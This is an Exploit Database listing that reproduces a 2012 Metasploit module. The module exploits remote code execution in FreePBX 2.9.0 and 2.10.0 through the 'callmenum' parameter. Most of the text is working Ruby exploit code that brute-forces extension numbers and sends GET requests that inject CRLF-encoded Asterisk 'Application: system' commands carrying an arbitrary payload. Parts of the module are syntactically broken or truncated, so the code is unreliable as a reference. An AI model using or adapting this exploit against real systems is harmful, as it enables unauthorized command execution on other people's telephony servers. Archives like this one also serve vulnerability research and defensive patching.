FreePBX 2.9.0/2.10.0 – ‘callmenum’ Remote Code Execution (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2012-03-24
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18659/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',

'Description'=> %q{

This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.

Due to the way callme_page.php handles the 'callmenum' parameter, it

is possible to inject code to the '$channel' variable in function

callme_startcall in order to gain remote code execution.

Please note in order to use this module properly, you must know the

extension number, which can be enumerated or bruteforced, or you may

try some of the default extensions such as 0 or 200.Also, the call

has to be answered (or go to voice).

Tested on both Elastix and FreePBX ISO image installs.

'Author' => [ 'muts','Martin Tschirsich' ],

'License'=> MSF_LICENSE,

'References' =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => false,

'Payload'=>

{

'Space' => 1024,

'DisableNops' => true,

'Targets'=>

[

[ 'Automatic Target', { }]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Mar 20 2012'))

register_options(

[

OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),

], self.class)

end

def exploit

# Check range input

if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/

min = $1.to_i

max = $2.to_i

else

print_error("Please specify a range for option 'EXTENSION'")

return

end

cmd = Rex::Text.uri_encode(payload.encoded)

(min..max).each do |e|

connect

print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")

res = send_request_raw({

'method' => 'GET',

'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",

'version' => '1.0',

'vhost' => rhost

})

handler

disconnect

end